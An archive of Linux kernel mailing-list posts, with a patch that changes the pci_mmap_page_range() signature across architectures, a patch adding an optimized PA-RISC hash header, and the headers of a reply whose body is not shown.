List-archive: <http://www.linux-mips.org/archives/linux-mips/>
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:55060 gmane.linux.kernel.pci:52420 gmane.linux.kernel:2237796 gmane.linux.ports.arm.kernel:504928 gmane.linux.ports.ia64:26858 gmane.linux.ports.parisc:26846 gmane.linux.ports.ppc64.devel:128224 gmane.linux.ports.sh.devel:54174 gmane.linux.ports.sparc:23044
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/55060>

This one is preparing patch for next one:
  PCI: Let pci_mmap_page_range() take resource addr

We need to pass extra resource pointer to avoid searching that again
for powerpc and microblaze prot set operation.

update for fixing bisectibility problem found by build test robot.

Signed-off-by: Yinghai Lu <yinghai@kernel.org>
Cc: linux-arm-kernel@lists.infradead.org
Cc: linux-cris-kernel@axis.com
Cc: linux-ia64@vger.kernel.org
Cc: linux-mips@linux-mips.org
Cc: linux-am33-list@redhat.com
Cc: linux-parisc@vger.kernel.org
Cc: linuxppc-dev@lists.ozlabs.org
Cc: linux-sh@vger.kernel.org
Cc: sparclinux@vger.kernel.org
Cc: linux-xtensa@linux-xtensa.org
---
 arch/arm/include/asm/pci.h              | 2 --
 arch/arm/kernel/bios32.c                | 3 ++-
 arch/cris/arch-v32/drivers/pci/bios.c   | 3 ++-
 arch/cris/include/asm/pci.h             | 3 ---
 arch/ia64/include/asm/pci.h             | 2 --
 arch/ia64/pci/pci.c                     | 3 ++-
 arch/microblaze/include/asm/pci.h       | 3 ---
 arch/microblaze/pci/pci-common.c        | 3 ++-
 arch/mips/include/asm/pci.h             | 3 ---
 arch/mips/pci/pci.c                     | 3 ++-
 arch/mn10300/include/asm/pci.h          | 3 ---
 arch/mn10300/unit-asb2305/pci-asb2305.c | 3 ++-
 arch/parisc/include/asm/pci.h           | 3 ---
 arch/parisc/kernel/pci.c                | 3 ++-
 arch/powerpc/include/asm/pci.h          | 3 ---
 arch/powerpc/kernel/pci-common.c        | 3 ++-
 arch/sh/drivers/pci/pci.c               | 3 ++-
 arch/sh/include/asm/pci.h               | 2 --
 arch/sparc/include/asm/pci_64.h         | 4 ----
 arch/sparc/kernel/pci.c                 | 3 ++-
 arch/unicore32/include/asm/pci.h        | 2 --
 arch/unicore32/kernel/pci.c             | 3 ++-
 arch/x86/include/asm/pci.h              | 4 ----
 arch/x86/pci/i386.c                     | 3 ++-
 arch/xtensa/include/asm/pci.h           | 4 ----
 arch/xtensa/kernel/pci.c                | 3 ++-
 drivers/pci/pci-sysfs.c                 | 2 +-
 drivers/pci/proc.c                      | 2 +-
 include/linux/pci.h                     | 6 ++++++
 29 files changed, 34 insertions(+), 53 deletions(-)

diff --git a/arch/arm/include/asm/pci.h b/arch/arm/include/asm/pci.h
index 057d381..51118a0 100644
--- a/arch/arm/include/asm/pci.h
+++ b/arch/arm/include/asm/pci.h
@@ -29,8 +29,6 @@ static inline int pci_proc_domain(struct pci_bus *bus)
 #define PCI_DMA_BUS_IS_PHYS     (1)
 
 #define HAVE_PCI_MMAP
-extern int pci_mmap_page_range(struct pci_dev *dev, struct vm_area_struct *vma,
-                               enum pci_mmap_state mmap_state, int write_combine);
 
 static inline int pci_get_legacy_ide_irq(struct pci_dev *dev, int channel)
 {
diff --git a/arch/arm/kernel/bios32.c b/arch/arm/kernel/bios32.c
index 05e61a2..d3245d1 100644
--- a/arch/arm/kernel/bios32.c
+++ b/arch/arm/kernel/bios32.c
@@ -602,7 +602,8 @@ int pcibios_enable_device(struct pci_dev *dev, int mask)
 	return pci_enable_resources(dev, mask);
 }
 
-int pci_mmap_page_range(struct pci_dev *dev, struct vm_area_struct *vma,
+int pci_mmap_page_range(struct pci_dev *dev, struct resource *res,
+			struct vm_area_struct *vma,
 			enum pci_mmap_state mmap_state, int write_combine)
 {
 	if (mmap_state == pci_mmap_io)
diff --git a/arch/cris/arch-v32/drivers/pci/bios.c b/arch/cris/arch-v32/drivers/pci/bios.c
index 64a5fb9..082efb9 100644
--- a/arch/cris/arch-v32/drivers/pci/bios.c
+++ b/arch/cris/arch-v32/drivers/pci/bios.c
@@ -14,7 +14,8 @@ void pcibios_set_master(struct pci_dev *dev)
 	pci_write_config_byte(dev, PCI_LATENCY_TIMER, lat);
 }
 
-int pci_mmap_page_range(struct pci_dev *dev, struct vm_area_struct *vma,
+int pci_mmap_page_range(struct pci_dev *dev, struct resource *res,
+			struct vm_area_struct *vma,
 			enum pci_mmap_state mmap_state, int write_combine)
 {
 	unsigned long prot;
diff --git a/arch/cris/include/asm/pci.h b/arch/cris/include/asm/pci.h
index b1b289d..65198cb 100644
--- a/arch/cris/include/asm/pci.h
+++ b/arch/cris/include/asm/pci.h
@@ -42,9 +42,6 @@ struct pci_dev;
 #define PCI_DMA_BUS_IS_PHYS	(1)
 
 #define HAVE_PCI_MMAP
-extern int pci_mmap_page_range(struct pci_dev *dev, struct vm_area_struct *vma,
-			       enum pci_mmap_state mmap_state, int write_combine);
-
 
 #endif /* __KERNEL__ */
 
diff --git a/arch/ia64/include/asm/pci.h b/arch/ia64/include/asm/pci.h
index c0835b0..6a2f5d8 100644
--- a/arch/ia64/include/asm/pci.h
+++ b/arch/ia64/include/asm/pci.h
@@ -51,8 +51,6 @@ extern unsigned long ia64_max_iommu_merge_mask;
 #define PCI_DMA_BUS_IS_PHYS	(ia64_max_iommu_merge_mask == ~0UL)
 
 #define HAVE_PCI_MMAP
-extern int pci_mmap_page_range (struct pci_dev *dev, struct vm_area_struct *vma,
-				enum pci_mmap_state mmap_state, int write_combine);
 #define HAVE_PCI_LEGACY
 extern int pci_mmap_legacy_page_range(struct pci_bus *bus,
 				      struct vm_area_struct *vma,
diff --git a/arch/ia64/pci/pci.c b/arch/ia64/pci/pci.c
index 8f6ac2f..1518d66 100644
--- a/arch/ia64/pci/pci.c
+++ b/arch/ia64/pci/pci.c
@@ -419,7 +419,8 @@ pcibios_align_resource (void *data, const struct resource *res,
 }
 
 int
-pci_mmap_page_range (struct pci_dev *dev, struct vm_area_struct *vma,
+pci_mmap_page_range(struct pci_dev *dev, struct resource *res,
+		     struct vm_area_struct *vma,
 		     enum pci_mmap_state mmap_state, int write_combine)
 {
 	unsigned long size = vma->vm_end - vma->vm_start;
diff --git a/arch/microblaze/include/asm/pci.h b/arch/microblaze/include/asm/pci.h
index fc3ecb5..1b93824 100644
--- a/arch/microblaze/include/asm/pci.h
+++ b/arch/microblaze/include/asm/pci.h
@@ -46,9 +46,6 @@ extern int pci_domain_nr(struct pci_bus *bus);
 extern int pci_proc_domain(struct pci_bus *bus);
 
 struct vm_area_struct;
-/* Map a range of PCI memory or I/O space for a device into user space */
-int pci_mmap_page_range(struct pci_dev *pdev, struct vm_area_struct *vma,
-			enum pci_mmap_state mmap_state, int write_combine);
 
 /* Tell drivers/pci/proc.c that we have pci_mmap_page_range() */
 #define HAVE_PCI_MMAP	1
diff --git a/arch/microblaze/pci/pci-common.c b/arch/microblaze/pci/pci-common.c
index 14cba60..fd2b013 100644
--- a/arch/microblaze/pci/pci-common.c
+++ b/arch/microblaze/pci/pci-common.c
@@ -304,7 +304,8 @@ pgprot_t pci_phys_mem_access_prot(struct file *file,
  *
  * Returns a negative error code on failure, zero on success.
  */
-int pci_mmap_page_range(struct pci_dev *dev, struct vm_area_struct *vma,
+int pci_mmap_page_range(struct pci_dev *dev, struct resource *res,
+			struct vm_area_struct *vma,
 			enum pci_mmap_state mmap_state, int write_combine)
 {
 	resource_size_t offset =
diff --git a/arch/mips/include/asm/pci.h b/arch/mips/include/asm/pci.h
index 86b239d..71d2c3b 100644
--- a/arch/mips/include/asm/pci.h
+++ b/arch/mips/include/asm/pci.h
@@ -75,9 +75,6 @@ extern void pcibios_set_master(struct pci_dev *dev);
 
 #define HAVE_PCI_MMAP
 
-extern int pci_mmap_page_range(struct pci_dev *dev, struct vm_area_struct *vma,
-	enum pci_mmap_state mmap_state, int write_combine);
-
 #define HAVE_ARCH_PCI_RESOURCE_TO_USER
 
 static inline void pci_resource_to_user(const struct pci_dev *dev, int bar,
diff --git a/arch/mips/pci/pci.c b/arch/mips/pci/pci.c
index f1b11f0..e620333 100644
--- a/arch/mips/pci/pci.c
+++ b/arch/mips/pci/pci.c
@@ -319,7 +319,8 @@ void pcibios_fixup_bus(struct pci_bus *bus)
 EXPORT_SYMBOL(PCIBIOS_MIN_IO);
 EXPORT_SYMBOL(PCIBIOS_MIN_MEM);
 
-int pci_mmap_page_range(struct pci_dev *dev, struct vm_area_struct *vma,
+int pci_mmap_page_range(struct pci_dev *dev, struct resource *res,
+			struct vm_area_struct *vma,
 			enum pci_mmap_state mmap_state, int write_combine)
 {
 	unsigned long prot;
diff --git a/arch/mn10300/include/asm/pci.h b/arch/mn10300/include/asm/pci.h
index 51159ff..082b6de 100644
--- a/arch/mn10300/include/asm/pci.h
+++ b/arch/mn10300/include/asm/pci.h
@@ -74,9 +74,6 @@ static inline int pci_controller_num(struct pci_dev *dev)
 }
 
 #define HAVE_PCI_MMAP
-extern int pci_mmap_page_range(struct pci_dev *dev, struct vm_area_struct *vma,
-			       enum pci_mmap_state mmap_state,
-			       int write_combine);
 
 #endif /* __KERNEL__ */
 
diff --git a/arch/mn10300/unit-asb2305/pci-asb2305.c b/arch/mn10300/unit-asb2305/pci-asb2305.c
index b7ab837..40efdc6 100644
--- a/arch/mn10300/unit-asb2305/pci-asb2305.c
+++ b/arch/mn10300/unit-asb2305/pci-asb2305.c
@@ -211,7 +211,8 @@ void __init pcibios_resource_survey(void)
 	pcibios_allocate_resources(1);
 }
 
-int pci_mmap_page_range(struct pci_dev *dev, struct vm_area_struct *vma,
+int pci_mmap_page_range(struct pci_dev *dev, struct resource *res,
+			struct vm_area_struct *vma,
 			enum pci_mmap_state mmap_state, int write_combine)
 {
 	unsigned long prot;
diff --git a/arch/parisc/include/asm/pci.h b/arch/parisc/include/asm/pci.h
index defebd9..bb9ea90 100644
--- a/arch/parisc/include/asm/pci.h
+++ b/arch/parisc/include/asm/pci.h
@@ -201,7 +201,4 @@ static inline int pci_get_legacy_ide_irq(struct pci_dev *dev, int channel)
 
 #define HAVE_PCI_MMAP
 
-extern int pci_mmap_page_range(struct pci_dev *dev, struct vm_area_struct *vma,
-	enum pci_mmap_state mmap_state, int write_combine);
-
 #endif /* __ASM_PARISC_PCI_H */
diff --git a/arch/parisc/kernel/pci.c b/arch/parisc/kernel/pci.c
index 0903c6a..8d5c34c 100644
--- a/arch/parisc/kernel/pci.c
+++ b/arch/parisc/kernel/pci.c
@@ -228,7 +228,8 @@ resource_size_t pcibios_align_resource(void *data, const struct resource *res,
 }
 
 
-int pci_mmap_page_range(struct pci_dev *dev, struct vm_area_struct *vma,
+int pci_mmap_page_range(struct pci_dev *dev, struct resource *res,
+			struct vm_area_struct *vma,
 			enum pci_mmap_state mmap_state, int write_combine)
 {
 	unsigned long prot;
diff --git a/arch/powerpc/include/asm/pci.h b/arch/powerpc/include/asm/pci.h
index a6f3ac0..662c1ef 100644
--- a/arch/powerpc/include/asm/pci.h
+++ b/arch/powerpc/include/asm/pci.h
@@ -77,9 +77,6 @@ extern int pci_domain_nr(struct pci_bus *bus);
 extern int pci_proc_domain(struct pci_bus *bus);
 
 struct vm_area_struct;
-/* Map a range of PCI memory or I/O space for a device into user space */
-int pci_mmap_page_range(struct pci_dev *pdev, struct vm_area_struct *vma,
-			enum pci_mmap_state mmap_state, int write_combine);
 
 /* Tell drivers/pci/proc.c that we have pci_mmap_page_range() */
 #define HAVE_PCI_MMAP	1
diff --git a/arch/powerpc/kernel/pci-common.c b/arch/powerpc/kernel/pci-common.c
index 0f7a60f..1596362 100644
--- a/arch/powerpc/kernel/pci-common.c
+++ b/arch/powerpc/kernel/pci-common.c
@@ -445,7 +445,8 @@ pgprot_t pci_phys_mem_access_prot(struct file *file,
  *
  * Returns a negative error code on failure, zero on success.
  */
-int pci_mmap_page_range(struct pci_dev *dev, struct vm_area_struct *vma,
+int pci_mmap_page_range(struct pci_dev *dev, struct resource *res,
+			struct vm_area_struct *vma,
 			enum pci_mmap_state mmap_state, int write_combine)
 {
 	resource_size_t offset =
diff --git a/arch/sh/drivers/pci/pci.c b/arch/sh/drivers/pci/pci.c
index d5462b7..a1bc7ba 100644
--- a/arch/sh/drivers/pci/pci.c
+++ b/arch/sh/drivers/pci/pci.c
@@ -269,7 +269,8 @@ void __init_refok pcibios_report_status(unsigned int status_mask, int warn)
 	}
 }
 
-int pci_mmap_page_range(struct pci_dev *dev, struct vm_area_struct *vma,
+int pci_mmap_page_range(struct pci_dev *dev, struct resource *res,
+			struct vm_area_struct *vma,
 			enum pci_mmap_state mmap_state, int write_combine)
 {
 	/*
diff --git a/arch/sh/include/asm/pci.h b/arch/sh/include/asm/pci.h
index 644314f..8e0fdb9 100644
--- a/arch/sh/include/asm/pci.h
+++ b/arch/sh/include/asm/pci.h
@@ -66,8 +66,6 @@ extern unsigned long PCIBIOS_MIN_IO, PCIBIOS_MIN_MEM;
 struct pci_dev;
 
 #define HAVE_PCI_MMAP
-extern int pci_mmap_page_range(struct pci_dev *dev, struct vm_area_struct *vma,
-	enum pci_mmap_state mmap_state, int write_combine);
 extern void pcibios_set_master(struct pci_dev *dev);
 
 /* Dynamic DMA mapping stuff.
diff --git a/arch/sparc/include/asm/pci_64.h b/arch/sparc/include/asm/pci_64.h
index 022d160..f7a93df 100644
--- a/arch/sparc/include/asm/pci_64.h
+++ b/arch/sparc/include/asm/pci_64.h
@@ -45,10 +45,6 @@ static inline int pci_proc_domain(struct pci_bus *bus)
 #define HAVE_ARCH_PCI_GET_UNMAPPED_AREA
 #define get_pci_unmapped_area get_fb_unmapped_area
 
-int pci_mmap_page_range(struct pci_dev *dev, struct vm_area_struct *vma,
-			enum pci_mmap_state mmap_state,
-			int write_combine);
-
 static inline int pci_get_legacy_ide_irq(struct pci_dev *dev, int channel)
 {
 	return PCI_IRQ_NONE;
diff --git a/arch/sparc/kernel/pci.c b/arch/sparc/kernel/pci.c
index c2b202d..86d7dda 100644
--- a/arch/sparc/kernel/pci.c
+++ b/arch/sparc/kernel/pci.c
@@ -862,7 +862,8 @@ static void __pci_mmap_set_pgprot(struct pci_dev *dev, struct vm_area_struct *vm
  *
  * Returns a negative error code on failure, zero on success.
  */
-int pci_mmap_page_range(struct pci_dev *dev, struct vm_area_struct *vma,
+int pci_mmap_page_range(struct pci_dev *dev, struct resource *res,
+			struct vm_area_struct *vma,
 			enum pci_mmap_state mmap_state,
 			int write_combine)
 {
diff --git a/arch/unicore32/include/asm/pci.h b/arch/unicore32/include/asm/pci.h
index 37e55d0..a5129086 100644
--- a/arch/unicore32/include/asm/pci.h
+++ b/arch/unicore32/include/asm/pci.h
@@ -17,8 +17,6 @@
 #include <mach/hardware.h> /* for PCIBIOS_MIN_* */
 
 #define HAVE_PCI_MMAP
-extern int pci_mmap_page_range(struct pci_dev *dev, struct vm_area_struct *vma,
-	enum pci_mmap_state mmap_state, int write_combine);
 
 #endif /* __KERNEL__ */
 #endif
diff --git a/arch/unicore32/kernel/pci.c b/arch/unicore32/kernel/pci.c
index d45fa5f..ff1b7ef 100644
--- a/arch/unicore32/kernel/pci.c
+++ b/arch/unicore32/kernel/pci.c
@@ -362,7 +362,8 @@ int pcibios_enable_device(struct pci_dev *dev, int mask)
 	return 0;
 }
 
-int pci_mmap_page_range(struct pci_dev *dev, struct vm_area_struct *vma,
+int pci_mmap_page_range(struct pci_dev *dev, struct resource *res,
+			struct vm_area_struct *vma,
 			enum pci_mmap_state mmap_state, int write_combine)
 {
 	unsigned long phys;
diff --git a/arch/x86/include/asm/pci.h b/arch/x86/include/asm/pci.h
index 9ab7507..eb87481 100644
--- a/arch/x86/include/asm/pci.h
+++ b/arch/x86/include/asm/pci.h
@@ -88,10 +88,6 @@ int pcibios_set_irq_routing(struct pci_dev *dev, int pin, int irq);
 
 
 #define HAVE_PCI_MMAP
-extern int pci_mmap_page_range(struct pci_dev *dev, struct vm_area_struct *vma,
-			       enum pci_mmap_state mmap_state,
-			       int write_combine);
-
 
 #ifdef CONFIG_PCI
 extern void early_quirks(void);
diff --git a/arch/x86/pci/i386.c b/arch/x86/pci/i386.c
index 0a9f2ca..36463c7 100644
--- a/arch/x86/pci/i386.c
+++ b/arch/x86/pci/i386.c
@@ -411,7 +411,8 @@ static const struct vm_operations_struct pci_mmap_ops = {
 	.access = generic_access_phys,
 };
 
-int pci_mmap_page_range(struct pci_dev *dev, struct vm_area_struct *vma,
+int pci_mmap_page_range(struct pci_dev *dev, struct resource *res,
+			struct vm_area_struct *vma,
 			enum pci_mmap_state mmap_state, int write_combine)
 {
 	unsigned long prot;
diff --git a/arch/xtensa/include/asm/pci.h b/arch/xtensa/include/asm/pci.h
index 5d6bd93..bb5510b 100644
--- a/arch/xtensa/include/asm/pci.h
+++ b/arch/xtensa/include/asm/pci.h
@@ -46,10 +46,6 @@ struct pci_dev;
 
 #define PCI_DMA_BUS_IS_PHYS	(1)
 
-/* Map a range of PCI memory or I/O space for a device into user space */
-int pci_mmap_page_range(struct pci_dev *pdev, struct vm_area_struct *vma,
-			enum pci_mmap_state mmap_state, int write_combine);
-
 /* Tell drivers/pci/proc.c that we have pci_mmap_page_range() */
 #define HAVE_PCI_MMAP	1
 
diff --git a/arch/xtensa/kernel/pci.c b/arch/xtensa/kernel/pci.c
index b848cc3..89c8687 100644
--- a/arch/xtensa/kernel/pci.c
+++ b/arch/xtensa/kernel/pci.c
@@ -362,7 +362,8 @@ __pci_mmap_set_pgprot(struct pci_dev *dev, struct vm_area_struct *vma,
  *
  * Returns a negative error code on failure, zero on success.
  */
-int pci_mmap_page_range(struct pci_dev *dev, struct vm_area_struct *vma,
+int pci_mmap_page_range(struct pci_dev *dev, struct resource *res,
+			struct vm_area_struct *vma,
 			enum pci_mmap_state mmap_state,
 			int write_combine)
 {
diff --git a/drivers/pci/pci-sysfs.c b/drivers/pci/pci-sysfs.c
index d319a9c..5bbe20c 100644
--- a/drivers/pci/pci-sysfs.c
+++ b/drivers/pci/pci-sysfs.c
@@ -1027,7 +1027,7 @@ static int pci_mmap_resource(struct kobject *kobj, struct bin_attribute *attr,
 	pci_resource_to_user(pdev, i, res, &start, &end);
 	vma->vm_pgoff += start >> PAGE_SHIFT;
 	mmap_type = res->flags & IORESOURCE_MEM ? pci_mmap_mem : pci_mmap_io;
-	return pci_mmap_page_range(pdev, vma, mmap_type, write_combine);
+	return pci_mmap_page_range(pdev, res, vma, mmap_type, write_combine);
 }
 
 static int pci_mmap_resource_uc(struct file *filp, struct kobject *kobj,
diff --git a/drivers/pci/proc.c b/drivers/pci/proc.c
index 3f155e7..f19ee2a 100644
--- a/drivers/pci/proc.c
+++ b/drivers/pci/proc.c
@@ -245,7 +245,7 @@ static int proc_bus_pci_mmap(struct file *file, struct vm_area_struct *vma)
 	if (i >= PCI_ROM_RESOURCE)
 		return -ENODEV;
 
-	ret = pci_mmap_page_range(dev, vma,
+	ret = pci_mmap_page_range(dev, &dev->resource[i], vma,
 				  fpriv->mmap_state,
 				  fpriv->write_combine);
 	if (ret < 0)
diff --git a/include/linux/pci.h b/include/linux/pci.h
index b67e4df..3c1a0f4 100644
--- a/include/linux/pci.h
+++ b/include/linux/pci.h
@@ -70,6 +70,12 @@ enum pci_mmap_state {
 	pci_mmap_mem
 };
 
+struct vm_area_struct;
+/* Map a range of PCI memory or I/O space for a device into user space */
+int pci_mmap_page_range(struct pci_dev *dev, struct resource *res,
+			struct vm_area_struct *vma,
+			enum pci_mmap_state mmap_state, int write_combine);
+
 /*
  *  For PCI devices, the region numbers are assigned this way:
  */
-- 
2.8.3




From - Thu Nov 08 21:38:59 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "George Spelvin" <linux@sciencehorizons.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH v4] parisc: add <asm/hash.h>
Date: 7 Jun 2016 19:45:06 -0400
Lines: 207
Approved: news@gmane.org
Message-ID: <20160607234506.32160.qmail@ns.sciencehorizons.net>
References: <20160607012242.5694.qmail@ns.sciencehorizons.net>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1465343122 22029 80.91.229.3 (7 Jun 2016 23:45:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 7 Jun 2016 23:45:22 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, linux@sciencehorizons.net
To: deller@gmx.de
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jun 08 01:45:11 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1bAQgI-0005kM-N8
	for glpp-linux-parisc@plane.gmane.org; Wed, 08 Jun 2016 01:45:11 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932890AbcFGXpK (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 7 Jun 2016 19:45:10 -0400
Original-Received: from ns.sciencehorizons.net ([71.41.210.147]:14051 "HELO
	ns.sciencehorizons.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with SMTP id S932836AbcFGXpJ (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 7 Jun 2016 19:45:09 -0400
Original-Received: (qmail 32161 invoked by uid 1000); 7 Jun 2016 19:45:06 -0400
In-Reply-To: <20160607012242.5694.qmail@ns.sciencehorizons.net>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26847
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26847>

PA-RISC is interesting; integer multiplies are implemented in the
FPU, so are painful in the kernel.  But it tries to be friendly to
shift-and-add sequences for constant multiplies.

__hash_32 is implemented using the same shift-and-add sequence as
Microblaze, just scheduled for the PA7100.  (It's 2-way superscalar
but in-order, like the Pentium.)

hash_64 was tricky, but a suggestion from Jason Thong allowed a
good solution by breaking up the multiplier.  After a lot of manual
optimization, I found a 19-instruction sequence for the multiply that
can be executed in 10 cycles using only 4 temporaries.

(The PA8xxx can issue 4 instructions per cycle, but 2 must be ALU ops
and 2 must be loads/stores.  And the final add can't be paired.)

An alternative considered, but ultimately not used, was Thomas Wang's
64-to-32-bit integer hash.  At 12 instructions, it's smaller, but they're
all sequentially dependent, so it has longer latency.

https://web.archive.org/web/2011/http://www.concentric.net/~Ttwang/tech/inthash.htm
http://burtleburtle.net/bob/hash/integer.html

Signed-off-by: George Spelvin <linux@sciencehorizons.net>
Cc: Helge Deller <deller@gmx.de>
Cc: linux-parisc@vger.kernel.org
---
No functional change, just cleaned up a lot.  This is final if no problems
are found.

 arch/parisc/Kconfig            |   1 +
 arch/parisc/include/asm/hash.h | 146 +++++++++++++++++++++++++++++++++++++++++
 2 files changed, 147 insertions(+)
 create mode 100644 arch/parisc/include/asm/hash.h

diff --git a/arch/parisc/Kconfig b/arch/parisc/Kconfig
index 88cfaa8a..8ed2a444 100644
--- a/arch/parisc/Kconfig
+++ b/arch/parisc/Kconfig
@@ -30,6 +30,7 @@ config PARISC
 	select TTY # Needed for pdc_cons.c
 	select HAVE_DEBUG_STACKOVERFLOW
 	select HAVE_ARCH_AUDITSYSCALL
+	select HAVE_ARCH_HASH
 	select HAVE_ARCH_SECCOMP_FILTER
 	select ARCH_NO_COHERENT_DMA_MMAP
 
diff --git a/arch/parisc/include/asm/hash.h b/arch/parisc/include/asm/hash.h
new file mode 100644
index 00000000..fb992a3b
--- /dev/null
+++ b/arch/parisc/include/asm/hash.h
@@ -0,0 +1,146 @@
+#ifndef _ASM_HASH_H
+#define _ASM_HASH_H
+
+/*
+ * HP-PA only implements integer multiply in the FPU.  However, for
+ * integer multiplies by constant, it has a number of shift-and-add
+ * (but no shift-and-subtract, sigh!) instructions that a compiler
+ * can synthesize a code sequence with.
+ *
+ * Unfortunately, GCC isn't very efficient at using them.  For example
+ * it uses three instructions for "x *= 21" when only two are needed.
+ * But we can find a sequence manually.
+ */
+
+#define HAVE_ARCH__HASH_32 1
+
+/*
+ * This is a multiply by GOLDEN_RATIO_32 = 0x61C88647 optimized for the
+ * PA7100 pairing rules.  This is an in-order 2-way superscalar processor.
+ * Only one instruction in a pair may be a shift (by more than 3 bits),
+ * but other than that, simple ALU ops (including shift-and-add by up
+ * to 3 bits) may be paired arbitrarily.
+ *
+ * PA8xxx processors also dual-issue ALU instructions, although with
+ * fewer constraints, so this schedule is good for them, too.
+ *
+ * This 6-step sequence was found by Yevgen Voronenko's implementation
+ * of the Hcub algorithm at http://spiral.ece.cmu.edu/mcm/gen.html.
+ */
+static inline u32 __attribute_const__ __hash_32(u32 x)
+{
+	u32 a, b, c;
+
+	/*
+	 * Phase 1: Compute  a = (x << 19) + x,
+	 * b = (x << 9) + a, c = (x << 23) + b.
+	 */
+	a = x << 19;		/* Two shifts can't be paired */
+	b = x << 9;	a += x;
+	c = x << 23;	b += a;
+			c += b;
+	/* Phase 2: Return (b<<11) + (c<<6) + (a<<3) - c */
+	b <<= 11;
+	a += c << 3;	b -= c;
+	return (a << 3) + b;
+}
+
+#if BITS_PER_LONG == 64
+
+#define HAVE_ARCH_HASH_64 1
+
+/*
+ * Finding a good shift-and-add chain for GOLDEN_RATIO_64 is tricky,
+ * because available software for the purpose chokes on constants this
+ * large.  (It's mostly designed for compiling FIR filter coefficients
+ * into FPGAs.)
+ *
+ * However, Jason Thong pointed out a work-around.  The Hcub software
+ * (http://spiral.ece.cmu.edu/mcm/gen.html) is designed for *multiple*
+ * constant multiplication, and is good at finding shift-and-add chains
+ * which share common terms.
+ *
+ * Looking at 0x0x61C8864680B583EB in binary:
+ * 0110000111001000100001100100011010000000101101011000001111101011
+ *  \______________/    \__________/       \_______/     \________/
+ *   \____________________________/         \____________________/
+ * you can see the non-zero bits are divided into several well-separated
+ * blocks.  Hcub can find algorithms for those terms separately, which
+ * can then be shifted and added together.
+ *
+ * Dividing the input into 2, 3 or 4 blocks, Hcub can find solutions
+ * with 10, 9 or 8 adds, respectively, making a total of 11 for the
+ * whole number.
+ *
+ * Using just two large blocks, 0xC3910C8D << 31 in the high bits,
+ * and 0xB583EB in the low bits, produces as good an algorithm as any,
+ * and with one more small shift than alternatives.
+ *
+ * The high bits are a larger number and more work to compute, as well
+ * as needing one extra cycle to shift left 31 bits before the final
+ * addition, so they are the critical path for scheduling.  The low bits
+ * can fit into the scheduling slots left over.
+ */
+
+
+/*
+ * This _ASSIGN(dst, src) macro performs "dst = src", but prevents GCC
+ * from inferring anything about the value assigned to "dest".
+ *
+ * This prevents it from mis-optimizing certain sequences.
+ * In particular, gcc is annoyingly eager to combine consecutive shifts.
+ * Given "x <<= 19; y += x; z += x << 1;", GCC will turn this into
+ * "y += x << 19; z += x << 20;" even though the latter sequence needs
+ * an additional instruction and temporary register.
+ *
+ * Because no actual assembly code is generated, this construct is
+ * usefully portable across all GCC platforms, and so can be test-compiled
+ * on non-PA systems.
+ *
+ * In two places, additional unused input dependencies are added.  This
+ * forces GCC's scheduling so it does not rearrange instructions too much.
+ * Because the PA-8xxx is out of order, I'm not sure how much this matters,
+ * but why make it more difficult for the processor than necessary?
+ */
+#define _ASSIGN(dst, src, ...) asm("" : "=r" (dst) : "0" (src), ##__VA_ARGS__)
+
+/*
+ * Multiply by GOLDEN_RATIO_64 = 0x0x61C8864680B583EB using a heavily
+ * optimized shift-and-add sequence.
+ *
+ * Without the final shift, the multiply proper is 19 instructions,
+ * 10 cycles and uses only 4 temporaries.  Whew!
+ *
+ * You are not expected to understand this.
+ */
+static __always_inline u32 __attribute_const__
+hash_64(u64 a, unsigned int bits)
+{
+	u64 b, c, d;
+
+	/*
+	 * Encourage GCC to move a dynamic shift to %sar early,
+	 * thereby freeing up an additional temporary register.
+	 */
+	if (!__builtin_constant_p(bits))
+		asm("" : "=q" (bits) : "0" (64 - bits));
+	else
+		bits = 64 - bits;
+
+	_ASSIGN(b, a*5);	c = a << 13;
+	b = (b << 2) + a;	_ASSIGN(d, a << 17);
+	a = b + (a << 1);	c += d;
+	d = a << 10;		_ASSIGN(a, a << 19);
+	d = a - d;		_ASSIGN(a, a << 4, "X" (d));
+	c += b;			a += b;
+	d -= c;			c += a << 1;
+	a += c << 3;		_ASSIGN(b, b << 7+31, "X" (c), "X" (d));
+	a <<= 31;		b += d;
+	a += b;
+	return a >> bits;
+}
+#undef _ASSIGN	/* We're a widely-used header file, so don't litter! */
+
+#endif /* BITS_PER_LONG == 64 */
+
+#endif /* _ASM_HASH_H */
-- 
2.8.1

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bjorn Helgaas <helgaas@kernel.org>
Newsgroups: gmane.linux.ports.sh.devel,gmane.linux.kernel.pci,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc
Subject: Re: [PATCH v12 01/15] PCI: Let pci_mmap_page_range() take extra
 resource pointer
Date: Wed, 8 Jun 2016 16:03:22 -0500
Lines: 208
Approved: news@gmane.org
